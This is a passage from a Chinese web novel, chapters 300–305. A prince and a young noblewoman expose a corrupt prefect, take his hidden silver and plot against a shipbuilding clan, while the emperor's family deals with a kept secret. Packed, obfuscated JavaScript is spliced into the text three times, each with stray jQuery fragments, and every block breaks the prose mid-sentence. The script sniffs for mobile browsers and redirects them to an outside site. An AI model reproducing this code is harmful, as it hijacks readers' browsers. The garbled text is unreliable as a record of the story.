“我觉得王爷先前说得很对。”晏逐星扭头看向一旁许久没开口的永安王。
谢翊宁微微一怔,下意识地坐直了些。
他说什么了?
他好像什么也没说吧?
第300章 王爷明白她
晏逐星似乎看穿了他的疑惑,唇角弯起一个极浅的弧度:“王爷先前说过或许被顶替了科举资格、夺了前程的寒门士子,远不止我爹一人。”
谢翊宁点头。
晏逐星便继续道:“那这么多年,青州会不会还有很多不为人知的冤假错案?那些被关在牢狱中的无辜百姓,他们的家还在吗?他们的亲人还等得到他们吗?”
谢翊宁眼前一亮。
明白她想要说什么了。
晏逐星的目光从谢翊宁脸上移开,重新落回父亲身上,声音沉稳:
“王爷若能肃清吏治,重审旧案,还无辜者清白。届时,那些沉冤昭雪、得以重见天日之人,便是无处可去之人。”
“我们棠家村有现成的土地,虽已荒芜,但稍加开垦便是良田。我们有重建的屋舍,虽暂是空壳,却能遮风挡雨。”
“与其让这些人出狱后再次流离失所,成为隐患,不如由朝廷出面,将他们妥善安置。”
她的那笔银子,还有用处。
倒不如之后将血金笼抄没的银子拿来给那些百姓重建房屋。
不过事情能不能落实,还得拜托永安王。
她又看向了谢翊宁,语气愈发诚恳:“王爷拨乱反正,还他们清白,是恩。朝廷再予他们新地、新屋、新籍,助其安身立命,更是再造之恩。此乃双重的仁政!”
“将他们安置于重建的棠家村。分给每户屋舍、田地,登记造册,成为新的棠家村民。朝廷给他们一个家,他们必会以家为念,勤恳劳作,安分守己,对朝廷、对王爷感恩戴德,死心塌地!”
“如此一来。”晏逐星长长吐出了一口气。
“棠家村的空壳便有了魂。废墟之上,便能真正生出新的血肉与炊烟。这也将成为皇上治理青州、泽被苍生的一块丰碑!”
她的话音落下,房间里一片寂静。
谢翊宁的眼中光芒更甚。
这哪是“好办法”这么简单?
这简直是个天大的好主意。
他的小恩人就是聪明。
科举舞弊之事一旦爆出来,虽然众人会先骂那些狗官,但父皇的清誉多多少少都会受到影响。
若是按小恩人说的办,把冤案平反了,把无辜放出来的人再好好安顿。
老百姓们只会觉得:“皇上圣明啊!查清了冤案,还给了没活路的人一条生路。”
这样名声不就回来了?!
值!
太值了!
看来回京之后,他得让父皇对小恩人数恩并赏,只让棠家兄弟进国子监远远不够。
棠风陵更是听得心潮澎湃。
如此一来,棠家村将永远不会被人忘记。
世世代代都将有人记得那些死去的人。
“那就依婋婋所言,重建棠家村。”棠风陵的眼眶又一次湿润了。
这一回,不是哀伤与委屈,是喜极而泣。
谢翊宁点点头,当即吩咐下去:“本王觉得这个主意甚好。鸣珂,你问问秦朔,邢天海的嘴撬开了么,若是撬开了,你带人将他老巢抄了。”
“王爷冷静!”晏逐星听到这话,吓得心跳都漏了半拍。
“您虽然贵为王爷,但没有朝廷明旨,没有三司会审的定罪文书,您就派人直接去抄了一个朝廷正四品知府的府邸?这不合适吧。”
她语速飞快,几乎是抢着说完的。
“您擅自抄家,这是在打朝廷的脸,是在挑战皇上的权威。往轻了说,这叫僭越,往重了说有心人完全可以扣您一个藐视朝廷法度,甚至图谋不轨的大帽子。”
“到时候,您非但帮不了那些受冤屈的人,反而会把自己也陷进去,让皇上为难。”
谢翊宁听到这话,一愣,随后笑了起来,笑着笑着,又板起脸盯着她:“在你心里,本王就是这等鲁莽之人?”
“当然不是。”晏逐星赶忙否认。
她知道即便永安王私自命人抄了青州知府的家,皇上也会相信他,说不定还会私底下补一个手谕,说那是他早已允许的。
但朝堂上那些大臣可不会那么想,他们怕是巴不得永安王多多犯错,好找他的不痛快。
虽然永安王可能不在乎别人攻讦他,但她也不想让他背负那些无谓的骂名。
“王爷在我心里,足智多谋,骁勇善战,聪慧过人……”晏逐星搜肠刮肚,一连串好词儿不带喘气地往外蹦。
硬生生把谢翊宁原本抿成一条直线的嘴角,给夸得明显上扬起来,那点故意板起的严肃也维持不住了。
“你倒是慧眼识珠,聪慧过人。”回夸了晏逐星一句,他这才开口解释。
“本王的意思是,把他私底下藏的银子悄悄拿了。明面上什么也不说,谁能知道呢?”
他的声音里带着一丝被夸赞后的轻快。
晏逐星恍然大悟。
原来永安王打的是这个主意。
就像他们悄悄拿了秦王妃留下的银两一样,这一回也可以悄悄地把邢天海的银子拿走。
神不知,鬼不觉。
“王爷英明!”晏逐星立刻送上最真诚的赞美,脸上笑意盈盈。
一旁的棠家人看得目瞪口呆。
这跟他们想象中的天潢贵胄、威严王爷完全不一样啊!
私下里,王爷和婋婋相处,竟是这般……这般……
棠家人一时之间竟然找不到合适的形容词。
看王爷那嘴角翘的,感觉再夸两句,他那无形的尾巴都要翘上天了!
原来,永安王殿下竟如此吃无脑夸奖这一套?
众人面面相觑,心中若有所思。
就在这时,沉重的脚步声伴随着拖拽声传来。
秦朔像拖死狗一样,将被折磨过后的邢天海拖了过来。
邢天海浑身血污,脸上满是痛苦和恐惧,早已没了半分昔日知府的威风。
“回王爷,事情已经问清楚了。”秦朔拱手汇报。
这邢天海倒是硬茬子,先前不管挨了什么打都不说,最后还是把他儿子带过来,当着他的面剁了邢文琅两根手指,邢天海这才招了。
“说。”谢翊宁微微颔首。
“是。”秦朔点头,将整件事条理清晰地说了出来。
第301章 全都是骗局
原来,血金笼的事情已经存在了十年。
那些从临清前来状告万帆楼草菅人命的苦主,无一例外都被温如璋罗织罪名,或下狱,或流放,甚至意外身亡,生生掐灭了所有伸冤的希望。
更令人发指的是那些血金笼中的“奴隶”来源。
其中自愿为财搏命的,不过寥寥。
绝大多数,是由柳家源源不断提供的!
柳家的手段阴毒而伪善。
他们打着“传授造船秘技”、“招募船厂帮工”的旗号,四处招揽那些渴望学门手艺、谋份好生计的精壮青年。
承诺高额的月俸和光明的前途,不知骗了多少满怀希望的大小伙子踏进这**的陷阱。
一旦人被骗入其中,柳家便以“考核勇气与毅力”为由,将他们送入搏命窟。
美其名曰“试炼”,实则是逼迫这些毫无准备的青年与饥饿的猛兽以命相搏。
若有人不愿意去,柳家就会拿出伪造好的契约,声称契书上写得明明白白:**艺者中途而废,需纳赎身银百两。
毕竟他们日日出入船厂,谁知道他们有没有偷学船厂的机密。不缴银子,休想出大门。
那些人若是能掏得出百两银子,哪里还用了来他们的船厂当学徒。别说百两了,就连一两那些人都掏不出来。
于是他们只得硬着头皮去搏命窟赌一线生机。
那些不幸惨死的人,柳家就轻飘飘地对外宣称:“此人手脚不干净,偷窃船厂财物,被当场抓住,畏罪反抗,失手打死。”
一条人命,就此被污名化为窃贼,草草掩埋。
而极少数侥幸活下来带着满身伤痕和**拿到银钱的人,也早已被吓破了胆。
柳家稍加威逼利诱,他们便噤若寒蝉,绝不敢吐露半字真相。
柳家需要这些活口偶尔现身说法,用他们侥幸赚到的银钱,去**,稳住外面那些不明真相,依旧对柳家船厂趋之若鹜的百姓。
这就是一场彻头彻尾的骗局!
如今青州绝大多数百姓依旧被蒙在鼓里,还以为柳家船厂是养家糊口的好去处。
他们哪里知道那光鲜亮丽的招牌之下,是**不吐骨头的坟墓。
“……”
听完秦朔的话,屋内一片死寂。
所有人都觉得这个披着人皮的柳家,恶贯满盈,罪该万死!
趴在地上的邢天海艰难地抬起肿胀的眼皮,模糊的视线捕捉到上首端坐的谢翊宁,见他脸色越来越阴沉,身上的杀气也越来越重。
他带哭腔开口道:“王爷,下官才来不久,他们那些勾当下官知道的就那么多了呀。下官已经知错了!求王爷开恩啊!”
见谢翊宁不说话,邢天海绞尽脑汁继续求饶。
“王爷您神机妙算,明察秋毫,柳家那点微末伎俩在王爷您面前就是萤火之光,求王爷饶下官一条狗命。下官愿做牛做马,帮您拿下柳家,以报答王爷的大恩大德!”
“呵。”谢翊宁一声轻蔑的嗤笑打断了邢天海声嘶力竭的表演。
“油嘴滑舌,谄媚至极!你以为说几句不知所谓的漂亮话,就能把你这一肚子的肮脏勾当给抹干净了?你以为凭你这几句令人作呕的马屁,就能让本王饶你?痴心妄想。”
这番疾言厉色的痛斥,与方才被晏逐星夸得嘴角上扬的模样,判若两人。
刚刚目睹了王爷被晏逐星哄好的的棠家人,彻底傻眼。
同样是被夸,晏逐星夸就是“聪慧过人”、“慧眼识珠”;邢天海夸就成了“油嘴滑舌”、“谄媚至极”、“令人作呕的马屁”。
这待遇天差地别得未免也太明显了点。
邢天海听到他这番话,原本就支撑不了多久的身子彻底瘫软。
他先前想着,用些好听的话先把谢翊宁给哄住,再加上他坦白了柳家的那些事,谢翊宁应该会暂时放过他。
不曾想,谢翊宁竟油盐不进。
只盼老师能早日发现青州的不对劲,早点派人来救他。
再不来,他怕是没命了。
“你们这些年挣的银子,除了柳家,都去哪了?”谢翊宁冷冷开口。
见邢天海不吭声,谢翊宁用脚踢了他的下巴一下,生怕他彻底死过去。
一旁的秦朔赶忙道:“王爷放心,下官有分寸着呢。他死不了,这些伤疼但都不致命。保证能让您把话问完。他若晕过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094917|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,下官自有法子让他醒来。”
地上装死的邢天海听到这话只能忍着疼继续回答:
“求王爷明察啊。温如璋和柳家把银子送到哪里,下官真的不知道啊。”
“下官才来不久,知道的就那么多,他们每三个月分一次红。下官也就鬼迷心窍,拿了一次。求王爷开恩。”
谢翊宁这才放缓了语气:“那你那些银子如今在哪?若你说出来,本王可保你一命。”
邢天海听到他要钱,心疼得直抽抽。
那可是他好不容易才攒下的钱,连夫人都不知道。
难不成现在要全都给永安王了?
他试图想要狡辩,但看着谢翊宁那双带着杀意的眼眸,最终还是哭丧着脸,老老实实的说了出来。
“城西土地庙后墙第三块松动的青砖,**之后有一个暗格,暗格里有一把钥匙。土地爷的供桌有一个暗道,从暗道进去,下面是密室。钥匙打开密室,里边放着的就是下官的所有银子了。”
他交代完,整个人便生无可恋地趴在地上,连呻吟都不敢大声,生怕谢翊宁一怒之下直接要了他的狗命。
“鸣珂,带人速去!”谢翊宁果断吩咐。
鸣珂领命,带着几个亲卫如风般离去。
约莫半个时辰后,急促的脚步声由远及近。
鸣珂去而复返,脸色铁青,身后的亲卫陆陆续续抬着八个箱子走了进来。
一开箱,里面赫然是码放得整整齐齐的银锭。
“王爷!”鸣珂的声音带着难以置信的愤怒和一丝颤抖,“清点完毕,共计八千两纹银!”
“多少?!”谢翊宁猛地从椅子上站了起来。
邢天海来青州不到半年,就能分到八千两?
要知道,他身为知府,一年的俸禄也才一百多两。
八千两?
他就算在知府之位上干到死,怕是都攒不下这么多钱。
谢翊宁怒极反笑,一步一步走到了邢天海面前。
他越笑,邢天海越害怕。
他哆嗦着下意识就开口求饶:“王爷饶命,王爷饶命。”
他都已经把钱给永安王了,他总该给他一些苟延残喘的时间吧?
第302章 被揭了老底
“本王可以饶你一命。”
听到这话,邢天海喜极而泣。
“就看你能不能说到做到,真的给本王当牛做马了。”谢翊宁微微一笑。
“下官愿意,下官愿意。”邢天海忙不迭磕头。
“秦朔,将邢大人带下去好好养伤,待会派人将他送回府衙去。切记,要让旁人看到一个完好无损的邢大人。”转念之间,谢翊宁就已经有了主意。
“顺便再安排两个人保护邢大人,免得柳家人狗急跳墙,对邢大人下死手。”
听到这话,邢天海脸上的喜色僵住了。
什么保护他,分明是监视。
但他哪里有资格说不,只能谢恩。
秦朔应下后,将邢天海放走,双鲤忍不住嘀咕:“就这样放过这个大坏蛋了么?”
“放心吧。”晏逐星唇角弯起一个狡黠的弧度,眼眸亮晶晶的,“王爷金口玉言,说的是留他一命,可没说留成什么样。留他一口气吊着,那也算留命了,对吧?”
一旁的双鲤眼睛猛地睁圆,小脑袋瓜灵光一闪,脱口而出:“啊!就和上回县主您对付那个张春回一样!您说放他走,是真放了,可没说放了之后不能再逮回来呀!对吧?”
她语气里带着点发现秘密的小兴奋。
晏逐星被她这么直白地揭了老底,脸上地闪过一丝赧然,下意识地抬手摸了摸鼻尖。
完了,好像把孩子带歪了。
谢翊宁还不知道这事,眉梢一挑看向晏逐星,十分好奇。
晏逐星被他看得耳根微热,赶紧正色,一本正经地纠正道:“怎么能说是骗呢?我说话算话,答应放他走,当时不是立刻就松绑让他走了么。一字不差,童叟无欺!”
“至于之后嘛……”她眨了眨眼,一脸无辜,“那是另一码事了。”
“嗯。”谢翊宁从善如流地点点头,唇角勾起,非常公正地下了结论,“这确实算不上骗。兵者,诡道也。此乃兵不厌诈,智谋所趋。”
他顿了顿,目光含笑地落在晏逐星身上,补充道:“你家县主,聪慧机敏,非常人可比。”
“那还是比不上王爷您智深似海,运筹帷幄!”晏逐星几乎是条件反射般,流畅地接上了这句夸赞,语气真诚无比。
看着这两人你一言我一语,一个夸完另一个立刻回敬,配合得天衣无缝、无比自然。
旁边的棠家众人脸上闪过“原来如此”“大开眼界”“哭笑不得”的复杂表情。
得!破案了!
他们总算是明白两人为何能相处得如此和谐融洽了。
敢情这二位是棋逢对手,都吃这一套“互吹互捧、心照不宣”的套路啊。
双鲤歪着小脑袋,看看一脸坦然的县主,又看看深以为然的王爷,再想想刚才那番“留口气也算留命”“放了再抓不算骗”的结论。
就这样成功被两人的强盗逻辑说服了。
她非常肯定地点了点头,脆生生地总结道:“嗯!您二位说得对!”
*
秦朔“收拾”了一顿邢天海,将他打扮得和来之前没什么区别。随后把他送上了马车,又派了两个心腹,一路护送他回府衙。
目送马车消失在街角,确认万无一失,他这才转身快步回到书房复命。
“做得不错。”谢翊宁微微颔首,随即话锋一转,“眼下还有一件急务,你亲自去办。”
他压低声音,将自己的计划对秦朔和盘托出。
秦朔听完,眉头紧锁,忍不住道:“王爷,就这样对柳家出手,会不会太冒险了点?”
“要的就是打他们一个措手不及。”谢翊宁打断他,指节在桌面上轻轻一叩,随后将自己随身带着的玉佩交给了他。
“此事宜早不宜迟,兵分三路,先行筹备。”
“之后的事情,之后再说。若是后续父皇问责,本王替你担着。如今事急从权嘛。”
秦朔迟疑了片刻,想起皇上此前递来的急信,让他遇事以永安王为主。
想到皇上对永安王的宠溺,他一咬牙,点头道:“是。下官领命。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094918|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦朔动了,盯着邢天海的人也回了柳家。
“家主,邢大人已经从永安王那里回府了。”
下人的汇报让书房内的气氛凝滞了一瞬。
柳家家主柳承宗指腹缓缓摩挲着玉扳指,眼神幽深,没有立刻开口。
反倒是老二柳承岳坐不住了,带着压抑不住的焦躁开口:“大哥,那个姓邢的会不会把咱们给供出去?”
他越想越觉得邢天海靠不住。
柳承宗依旧沉默,三弟柳承德却已嗤笑出声,满脸不屑地抢白:“二哥,你慌什么。他敢?再说了他才来多久,能有什么证据。咱们柳家树大根深,还怕他几句攀咬不成?”
柳承岳眉头紧锁,心里的不安并未消散:“话是这么说,可老三,你不觉得这永安王来得太巧了吗?我总觉得心里不踏实。”
“没什么好怕的。”柳承宗终于开口,声音低沉而笃定,带着一种久居上位的从容,甚至露出一丝意味深长的笑意。
“老二,你就是想得太多。别忘了,咱们京中不是没人。”
这时,门外再次传来急促的脚步声,另一个下人急急忙忙道:“家主,京中急信!”
柳承宗眼皮都没抬,只冲三弟柳承德微微抬了抬下巴。
柳承德立刻起身,几步夺过那封火漆封口的密信,恭敬地递到大哥手中。
柳承宗慢条斯理的拆开信,目光扫过纸上的内容。
然而,看完之后,他那份从容的笑意瞬间消失,眉头猛地拧成一个死结。
“大哥?”柳承岳心头狂跳,那股不祥的预感瞬间放大,“可是京中出了什么变故?”
柳承宗缓缓抬起头:“信上说武康伯府的公子,这个月压根就没出过京城。人一直在国子监里好好待着,昨日还参加了文会。”
“什么?!”
“这不可能!”
柳承德和柳承岳几乎是同时惊呼出声。
武康伯之子没离京?!
那他们一直在帮着临清知州追踪寻找,准备灭口的人,会是谁?
第303章 敲定他下场
“永安王”三个字不约而同地浮现在了三人的脑海里。
“我就说他忽然现身青州肯定有蹊跷。”老二柳承岳急了。
谁能想到呢,一直在找的人,竟然就在自己眼皮子底下。
他忍不住追问:“大哥,咱们接下来该怎么办?”
“大哥,咱们要不要一不做二不休,赶紧把他弄死?”老三柳承德也急了。
“那可是永安王,咱们怎么能随意杀死?”柳承岳反对。
永安王可是帝后最宠爱的孩子。
他若死在了青州,帝后一定会将青州掀个底朝天。
“那你说咱们该怎么办?难道任由他将消息传回京城,害死咱们全家么?”柳承德梗着脖子看向二哥。
“吵什么。”柳承宗呵斥一声,声音不大,却将两个斗鸡一样争吵的弟弟给按住了。
见他们安静下来,他才慢条斯理地开口:“慌什么。咱们柳家在青州,世世代代扎根快两百年了!大虞开国才多久?一百多年!”
“他一个只知道混吃等死的王爷,拿什么跟我们斗?”
他微微抬起眼皮,目光扫过两个弟弟,透着不容置疑的底气:“造船的命脉,捏在谁手里?是他永安王,还是朝廷那些只会纸上谈兵的工部老爷?都不是!是我们柳家!”
柳家掌握着造船的命脉和秘方。
官办的船坞又如何?
里面干活的匠人,十之八九都曾是他们柳家坞出来的学徒!
可柳家传艺,自有规矩。
除了血脉相连的家传弟子,那些外姓学徒,能学到的不过是些皮毛功夫。
真正的核心手艺和关窍,都牢牢攥在柳家嫡系的手里。
教三分,藏七分。
天底下的好船匠,根子都在柳家!
动柳家?那就是要断大虞造船的根。
朝廷敢吗?
没了柳家这棵大树,官家那些船坞,怕是连像样的木头都漂不起来。
他顿了顿,手指在扳指上用力一按,那丝意味深长的笑意重新浮上嘴角:“多少大风大浪我们柳家都闯过来了,一个不知天高地厚的永安王,又能如何?”
柳承德被大哥的镇定感染,那股天不怕地不怕的莽撞劲又了上来:“大哥说得对!怕他个鸟。他敢来查,就让他查。青州的水深着呢,看他能摸到几条小鱼小虾。”
柳承岳脸上的焦躁并未完全褪去,但看着大哥笃定的神情,听着那番掷地有声的话,心中的惊涛骇浪总算被强行压下去几分。
但他还是忍不住问道:“那大哥,眼下这误会怎么办?咱们帮着追杀错了人,永安王怕是已经知道了……”
柳承宗的眼神彻底冷了下来:“知道了又如何?他不动,我们便静观其变,看他这出戏想怎么唱。他若只是想捞点油水,给他便是,就当打发叫花子。倘若——”
他的声音陡然转变得凌厉,带着一种森然的杀伐之气。
“他若真敢把爪子伸到我柳家来,那就别怪我们不讲情面。青州这地界,山高水远,死个失足落水的贵人,算不得什么新鲜事。”
“还有,十几年前,不是闹过一次山匪么。大不了,再闹一回就是了。”
一句话,敲定了永安王的下场。
若他不识趣,非要作对,那就等死吧。
*
京城,皇宫里。
文昭帝病了。
他这病来得又急又猛。
起初是听闻小儿子竟遭不明身份之人追杀,惊怒交加;紧接着,搏命窟的腌臜事又捅到了御前,如同在他心口狠狠剜了一刀。
那些人竟然把人命拿来取乐?
他治下的大虞竟藏着如此触目惊心的脓疮?
惊、怒、痛、悔,种种情绪激烈冲撞,几乎将他击垮。
幸而,不久便传回了小儿子平安无事的消息。
他紧绷的心弦骤然松开,巨大的惊喜与后怕汹涌而至,连日积压的忧愤与骤然的情绪大起大落,还是让他倒下了。
龙榻边,崔皇后眼圈泛红,拿着温热的湿帕子,一遍遍给文昭帝擦额头渗出的虚汗。
“皇上,您可吓死臣妾了……”她声音带着点后怕的颤抖。
“季太医说了,您这是急火攻心又猛一松劲儿,这才扛不住。万幸小石头没事,这就是天大的喜事。您放宽心,保重龙体才是。”
文昭帝听着她的话,嗓子眼跟堵了团棉花似的,最终扯出了一抹苦笑:“宽心?”
他一把攥住皇后的手。
“朕怎么宽心?朕自登基以来,夙兴夜寐,只求国泰民安。可如今看来……这大虞,表面繁荣昌盛,可底下还不知道藏着多少见不得人的肮脏龌龊。”
“这些人不仅不拿百姓的命当一回事,还敢追杀朕的皇子?他们这是把朕当瞎子!当聋子!当傻子!”
他说着说着又激动得剧烈咳嗽起来,咳得脸都憋红了。
崔皇后赶忙命人端来茶水,小心翼翼地喂他喝下,替他顺气。
她哽咽道:“皇上息怒,龙体要紧!这些事定要查个水落石出,但您得先好起来才是……”
小石头出事她比谁都担心,整夜整夜的睡不着。
心里头更是翻来覆去地后悔:当初怎么就心软答应让他出京了呢?真是肠子都悔青了!
好在老天保佑,小石头平安无事。
见文昭帝喘匀了气,崔皇后又道:“话说,小石头活不过二十,各个都当他是短命的,谁吃饱了撑的去杀一个将死之人?难不成是有人将他命数有变的事情透露出去了?”
她已经从太子那里知晓了追杀小儿子的人并非临清官府的人。
那些下死手的都是皇城里的暗卫。
可此事,她不能直接告诉皇上,得让皇上起疑心自己去查。
听到这话,文昭帝顿时变了脸色。
是啊。
众所周知永安王活不过二十,如今他命格已改之事,只有他和皇后以及国师还有小石头本人知道。
什么人会派那样厉害的杀手,特意去追杀小石头呢?
那些人似乎走的还不是官府的路子。
文昭帝心底闪过一个念头,但又不敢深究,他看着红了眼眶的崔皇后,还是咬牙开口:“皇后放心,此事朕定会命人彻查。敢伤小石头的人,朕一个也不会放过。”
正说着,殿门口响起一阵刻意放轻的脚步声,紧接着,太监的通传声清晰地传了进来:
“启禀皇上、皇后娘娘,太子殿下到!”
第304章 太子撞破了
话音还没落稳,太子谢元宸已经快步走了进来。
他的脸上满是欣喜。
母后和父皇先前说什么,小石头的命数改了?
太好了!
以后小石头就可以长命百岁,和寻常人一样娶妻生子了。
这回看他还有什么借口拒绝母后催婚。
但目光触及龙榻上躺着的父皇和旁边眼眶通红的母后那一瞬间,他猛地意识到了一件事。
这么大的事情,父皇和母后竟然没告诉他?
一股说不清道不明的寒意,混杂着巨大的失落和难以置信涌上心头。
他顿在原地,脚下像生了根,眼神直勾勾地看着前方,甚至忘了行礼,忘了言语,整个人都僵住了。
“宸儿?”崔皇后看他这魂不守舍的样子,心里咯噔一下,慌忙起身。
“你这是怎么了?脸色这么难看?可是哪里不舒服?”她伸手想去探儿子的额头。
谢元宸下意识地微微偏头躲开了母后的手,眼神里充满了受伤和迷茫。
他看着自己最亲近的父母,心口像是被什么东西狠狠堵住了,闷得发疼。
他们不是一家人么?
为什么要将此事瞒着他?
是觉得他不配知道?
还是……
还是怕他这个做兄长的,知道了弟弟能长命百岁,会起歹心?
一股难以言喻的委屈和愤怒猛地冲了上来,压过了最初的震惊,唯余失望和不安。
父皇和母后竟然这样看他?
他张了张嘴,喉咙干涩得发不出声音,脑子更是乱成一团浆糊。
“怎么了?这个节骨眼可是小石头又出什么事了?”
见他脸色不对,文昭帝也强撑着坐起了身子,脸上是毫不掩饰的担忧。
小石头。
又是小石头。
……
一股从未有过的委屈瞬间弥漫开来,压得谢元宸几乎喘不过气。
他是太子,是储君,从小被教导要沉稳持重,要兄友弟恭,要顾全大局。
他习惯了把情绪藏好,习惯了以最完美的姿态出现在人前。
他对此从未有过怨言。
他真心实意疼爱那个从小被断言活不长的弟弟。
有什么好的,总想着给小石头留一份;小石头胡闹闯祸,他宁可自己受罚也舍不得他挨骂。
可如今呢?
弟弟命格改变,这般天大的喜事,父皇母后却将他这个兄长完全蒙在鼓里,仿佛他是个外人。
更刺痛他的是,父皇此刻下意识的反应。
他站在这里,脸色惨白,失魂落魄,父皇的第一反应不是问他怎么了,而是担心小石头又出了事。
他抬起眼眸,往日里含笑的眼眸带着一丝清泪,他没有大喊大叫,而是如同往常一般,温和有礼地回答:“小石头没事。”
“那你怎么了?”崔皇后眼里是止不住的担忧。
谢元宸看着母后眼中真切的关心,那股委屈更重了。
这些年,父皇母后对他的好不是假的,小石头对他这个兄长的敬重也是真真切切的。
可为什么要瞒着他呢?
在心底纠结挣扎了好一会儿,他才将那个在他心底反复撕扯、让他几乎窒息的问题问了出来:
“儿臣斗胆想问……小石头命格已改,这样大的事,为什么不告诉儿臣?”
听到这话,文昭帝和崔皇后脸色骤变。
“你、你都听到了?!”崔皇后惊得倒抽一口凉气,眼中满是难以置信和后怕。
文昭帝也紧张的盯着太子,眼神复杂难辨。
内殿的空气仿佛凝固了一般,一片死寂。
谢元宸点了点头:“嗯,刚刚听到的。”
崔皇后看着太子眼中那浓得化不开的受伤和委屈,心像被针扎了一样疼。
她终于反应过来太子先前那副失魂落魄的模样是为什么了。
她快步上前,紧紧抓住谢元宸冰凉的手,声音带着急切和浓浓的愧疚:“宸儿,我们不是有意要瞒你!是…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100187|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…怕啊!”
她的眼泪涌了出来,声音哽咽:“国师是说了,那命格枷锁解了。可小石头他毕竟还没真正过了二十岁那个坎儿啊!一天没过,一天就不能算真正安稳。”
“万一这中间再有什么变故呢?”她抬起泪眼,看着面前的长子,“就这样告诉你,让你也跟着空欢喜一场?”
她用力握着谢元宸的手,仿佛想把自己的愧疚和解释都传递过去。
“母后和你父皇都清楚,你是最疼小石头的哥哥。你还记不记得,那年小石头病得最凶险的时候,你跪在国师面前,求他救救弟弟,说愿意把自己的寿命分一半给小石头……”
“国师说天意不可违,你便说你要逆天而为,只要能救小石头,让你做什么都愿意。最后你把国师烦得都闭关了。”
说到这,崔皇后没忍住破涕为笑。
笑过之后,她看着长子,一字一句,语气温柔:“母后知道你待小石头的情谊,又怎么舍得让你再伤心一次呢?在母后心里,你和小石头一样重要。母后舍不得你们任何一个人伤心,难过。”
“若是可以,我愿意用我的寿命,换你们兄弟二人平安顺遂一辈子。”
谢元宸强撑着的眼泪,终于落了下来。
他紧紧抓着母后的手,一个字也说不出来。
“宸儿。”看着泪流满面的太子,文昭帝也开口了。
他的声音有些沙哑,但却包含了浓浓的关心。
“你母后说得对。正因为知道你有多在意小石头,知道你为他能付出到什么地步。我们才更不敢说。怕你希望越大,失望就越深。这份煎熬,有我们当父母的担着就够了。”
“我们舍不得你再跟着一起提心吊胆,再经历一次可能失去的锥心之痛。朕与你母后并非不信你,而是太在乎你们了!”
谢元宸流着泪,摇了摇头。
文昭帝和崔皇后对视一眼,不由有些着急,难不成,长子不相信他们说的话?
第305章 出卖小石头
“父皇,母后,你们错了。”谢元宸的声音不大,却带着一种前所未有的执拗。
这句话,以往只有被宠得无法无天的小石头才敢这么直愣愣地说出口。
而今日,他都在父皇母后面前失态落泪了,什么储君的仪态,什么太子的稳重,都抛到九霄云外好了。
他就任性这一回吧!
“宸儿。”崔皇后连忙放柔了声音,带着安抚和一丝不易察觉的探寻,“你接着说吧,我们听着呢。”
谢元宸深吸一口气,认认真真道:“你们口口声声说瞒着我是为我好,怕我空欢喜一场,怕我受不住失望……可你们想过没有?”
“这样天大的事,你们瞒得了一时,能瞒得了一世吗?”
“若不是今日儿臣碰巧在殿外听见,若儿臣没有豁出这张脸问出这句话,日后从别有用心之人口中听到,是不是会让我们兄弟之间、会让儿臣与父皇母后之间,生出无法弥补的嫌隙呢?”
“你们以为是在保护我,可这种隐瞒反倒让儿臣成了一个可能被流言和猜忌轻易挑拨的靶子。”
听到他掷地有声的话,崔皇后脸上的温柔瞬间凝固了。
她只想着不让儿子承受可能的失望之苦,却从未想过,这份善意的隐瞒,本身就可能成为伤害的源头,甚至可能被他人利用,离间他们至亲骨肉。
她心底顿时生出几分后怕,忍不住看了皇上一眼,思考着该怎么回答太子的这些质问。
只见皇上毫不犹豫地脱口而出:“瞒着你的事,是小石头提议的。”
崔皇后:“……”
就这么把小石头卖了,合适吗?
但想着如今谢翊宁不在京城,等他回京之后,说不定太子气早就消了。
于是果断点头附和:“没错,是小石头特意嘱咐我们不要告诉你的。”
她把那日的情形说了出来。
“是小石头说怕你日后失望,你知道他那个性子的,我们不答应他就死缠烂打。再加上我们觉得他说得也有些道理,最终才决定瞒着你的。”
谢元宸锁紧了眉头。
母后说的,倒像是真的。
小石头那性子确实能做出这样的事情。
哼,竟然敢瞒着他这个长兄,等他回来后,看他怎么收拾他。
见谢元宸情绪似乎平复了些,不再像刚才那般委屈得厉害,崔皇后这才稍稍安心,连忙命宫人取来温水和干净的软帕。
水端来了,崔皇后亲自拧了帕子,动作轻柔地就要替太子擦拭脸上残留的泪痕。
谢元宸耳根微红,下意识地偏了偏头,伸手想接过来:“母后,儿臣自己来吧……都是当爹的人了,今日这般失态,实在是……”
他声音越说越小,带着点难为情。
这么大个人了,还在父母面前哭成这样,实在有失储君体统。
他本想推开母后的手,没想到崔皇后却十分坚持。
